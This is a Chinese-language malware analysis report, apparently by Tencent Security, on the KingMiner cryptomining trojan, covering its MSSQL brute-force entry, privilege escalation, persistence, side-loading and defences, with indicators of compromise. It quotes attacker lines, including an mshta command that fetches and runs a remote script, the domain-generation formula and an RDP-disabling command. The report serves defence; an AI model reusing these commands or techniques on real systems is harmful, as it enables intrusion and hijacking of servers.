一、背景
腾讯安全御见威胁情报中心检测到KingMiner变种攻击,KingMiner是一种针对Windows服务器MSSQL进行爆破攻击的门罗币挖矿木马。该木马最早于2018年6月中旬首次出现,并在随后迅速发布了两个改进版本。攻击者采用了多种逃避技术来绕过虚拟机环境和安全检测,导致一些反病毒引擎无法准确检测。
当前版本KingMiner具有以下特点:
1. 针对MSSQL进行爆破攻击入侵;
2. 利用WMI定时器和Windows计划任务进行持久化攻击;
3. 关闭存在CVE-2019-0708漏洞机器上RDP服务防止其他挖矿团伙入侵,以独占已控制的服务器资源;
4. 使用base64和特定编码的XML,TXT,PNG文件来加密木马程序;
5. 利用微软和多个知名厂商的签名文件作为父进程,“白+黑”启动木马DLL。
根据腾讯安全御见威胁情报中心统计数据,KingMiner影响超过一万台电脑,其中受影响最严重的地区为广东、重庆、北京、上海等地。
二、详细分析
KingMiner在MSSQL爆破入侵成功后,首先执行一段VBS脚本(tl.txt/vk.txt),检测操作系统版本,并根据不同的系统版本下载不同的Payload文件,利用下载的文件进行提权以及门罗币挖矿。同时还会安装WMI定时器和Windows计划任务来反复执行指定脚本,执行服务器返回的恶意代码达到持久化攻击的目的。
KingMiner变种攻击流程
提权
vk.txt从http[:]// w.30713fdae.tk/32tl.zip下载经过base64编码的二进制blob文件,经过解码后保存为C:\Users\Public\Downloads\<random>\tool.exe
tool.exe 利用Windows权限提升漏洞CVE-2019-0803进行攻击,成功利用此漏洞的攻击者可以在内核模式下运行任意代码,然后可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。
tool.exe在特权模式下执行命令mshta.exe vbscript:GetObject(\"script:http[:]//aa.30583fdae.tk/r1.txt\")(window.close),通过mshta.exe执行脚本r1.txt来进行持久化。
持久化
计时器
r1.txt配置名为WindowsSystemUpdate _WMITimer的计时器,并将执行一段脚本代码的事件消费者WindowsSystemUpdate _consumer通过事件过滤器WindowsSystemUpdate _filter绑定到计时器,从而通过计时器每15分钟执行一次下面的VBS脚本代码:
这段VBS代码根据不同情况采取两种方法生成URL,接着通过访问生成的URL下载第二阶段的Payload运行。
1.URL由IP地址转化为ASCII后拼接而成
脚本运行nslookup命令查询C&C域名news.g23thr.com的DNS记录,当news.g23thr.com解析的IP地址为xxx.xxx.xxx.120,则访问URL
“http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/mgxbox.txt”
2.URL由与时间相关的DGA域名拼接而成
当查询DNS返回IP不符合指定格式,则DGA域名通过当前时间的年、月、日、分钟、秒数值计算得到,算法如下:
u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk" url = "http://"&minute(now())&second(now())&"."&u&"/mgxbox.txt"
计划任务
r1.txt通过RegisterTaskDefinition创建名为WindowsMonitor的计划任务,每15分钟执行一次如下脚本;或者安装触发条件为系统启动的计划任务WindowsHelper,并在WindowsHelper触发后再次安装WindowsMonitor定时任务执行同一段脚本:
计划任务最终执行的脚本如下:
计划任务执行的VBS脚本与WMITimer执行的脚本类似,通过DNS查询返回的数据,或者获取时间转换后生成的DGA域名拼接URL,执行访问URL后返回的代码。
url=“http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/pow.txt”
或者
u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk" url = "http://"&minute(now())&second(now())&"."&u&"/pow.txt"
当前访问url返回的代码如下:
CreateObject("WScript.Shell").Run "cmd /c ver |findstr ""5.0 5.1 5.2 6.0 6.1""&&wmic qfe GET hotfixid |findstr /i ""kb4499175 kb4500331 KB4499149 KB4499180 KB4499164""||wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0",0,False
返回代码的功能为:
获取计算机版本并判断计算机版本是否受CVE-2019-0708漏洞的影响且计算机是否安装特定补丁(kb4499175 kb4500331 KB4499149 KB4499180 KB4499164为微软发布的CVE-2019-0708远程桌面服务远程代码执行漏洞的补丁号)。
如果没有安装补丁,则修改设置禁止其他机器通过远程桌面服务访问本机,通过这种方式来阻止其他木马进入系统,从而达到独占挖矿资源的目的。
挖矿
vbs脚本tl.txt从http[:]// w.30713fdae.tk/32a1.zip下载经过base64编码的二进制blob文件。
文件解码并解压后保存至C:\Users\Public\Downloads\<random>\目录下,其中<random>为取当前时间“年月日时分秒”格式生成的字符。
alger.exe为微软系统文件credwiz.exed,功能描述为Credential Backup and Restore Wizard(凭据备份和还原向导),该程序在启动后自动加载系统DLL文件duer.dll并调用其导出函数InitGadgets()。
除了微软系统文件外,KingMiner在挖矿木马的“白+黑”启动过程中还利用了多个知名公司的含数字签名的文件来逃避杀软检测,利用正常的有数字签名的白文件来调用恶意dll,目前发现的包括以下数字签名:
“GuangZhou KuGou Computer Technology Co.,Ltd.”
“Google Inc”
“福建创意嘉和软件有限公司”
32a1.zip/64a1.zip解压后在同一目录下释放受信任的系统文件alger.exe(credwiz.exed)和恶意的duer.dll,利用alger.exe加载duer.dll并调用其导出的InitGadgets(),从而在InitGadgets()中解密保存在同目录下的x.txt或x/y/z.png中的XMRig挖矿程序代码,并启动门罗币挖矿过程。
三、安全建议
我们建议企业针对KingMiner挖矿木马的技术特点采取针对性的防御措施:
1.根据微软官方公告修复特权提升漏洞CVE-2019-0803:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803
2、加固SQL Server服务器,修补服务器安全漏洞。使用安全的密码策略,使用高强度密码,切勿继续使用弱口令,特别是sa账号密码,防止黑客暴力破解。
3、修改SQL Sever服务默认端口,在原始配置基础上更改默认1433端口设置,并且设置访问规则,拒绝1433端口探测。
IOCs @KingMiner
IP
107.154.161.209
107.154.158.39
Domain
q.112adfdae.tk
q.30583fdae.tk
aa.30583fdae.tk
w.30713fdae.tk
a.1b051fdae.tk
news.g23thr.com
a.qwerr.ga
w.ddff1.tk
Md5
duser.dll
20e502ff977b336d9e7785186b16c68a
78b56b92c2e7a42520fb99a84d78cf92
active_desktop_render_x64.dll
21048ff02894656b5b24d4ed3c8a2882
goopdate.dll
7def058c5d2acb660f394d04b4698580
soundbox.dll
88a5c4645c2a9d0481fd0a846e49b773
64tl.zip
be45959bc043a4fe88351cd03289f240
64a1.zip
4d910cb71c2f55bde48521f7ae062da4
32a1.zip
465373b74d163028add70f0d2b0966d0
23ef4da80f6985a78c4a59467ac4612f
32tl.zip
e09947875b4722aab067c4d0c4b30384
r1.txt
21cb01553d92bee4fefc0069db1fd5ea
c568d6028735cdc2a1ddd3c01f14ca80
tl.txt
b0ab674b842822358be8cd5f6dc91554
vk.txt
e3accf5a6f58932e56192bfbcbf0804c
c874dbb6bf3664990b57d07d7d220ee6
n.txt
2b702a22963448c164db26807a308d50
pow.txt/mgxbox.txt
03d24675d4de12bcd076e7eff213a8a4
htak.txt
5fd47b2be01004e41290bf7658c7ad5a
tool.exe
4899762134c0d2d8fbbaecc289a0c74e
URL
http[:]//4056.309cffdae.tk/vk.txt
http[:]//3023.309cffdae.tk/vk.txt
http[:]//5311.1d28ebfdae.com/pow.txt
http[:]//3843.1d28ebfdae.com/pow.txt
http[:]//5921.1d28ebfdae.com/mgxbox.txt
http[:]//ww33.3096bfdae.com/32a1.cab
http[:]//ww33.3096bfdae.com/64a1.cab
http[:]//a.qwerr.ga/32a.zip
http[:]//a.qwerr.ga/64f.zip
http[:]//aa.30583fdae.tk/r1.txt
http[:]//aa.30583fdae.tk/tl.txt
http[:]//aa.30583fdae.tk/r1.txt
http[:]//q.30583fdae.tk/32tl.zip
http[:]//q.30583fdae.tk/64tl.zip
http[:]//q.30583fdae.tk/64a1.zip
http[:]//q.30583fdae.tk/32a1.zip
http[:]//w.30713fdae.tk/vyk.txt
http[:]//w.30713fdae.tk/64a1.zip
http[:]//w.30713fdae.tk/32a1.zip
http[:]//w.ddff1.tk/32a1.zip
http[:]//w.ddff1.tk/64a1.zip
矿池:
95.179.131.54:9761
w.homewrt.com:9761
钱包:
49EHNacRauzgz8cGouhrVChcLyF3XrGLAdWiczJxY1qpX3oed4cGgMUUHHhyR7taGJ1MtvpfJiDf9gugAko4MzXM9DRYzZ1
参考链接:
https://research.checkpoint.com/2018/kingminer-the-new-and-improved-cryptojacker/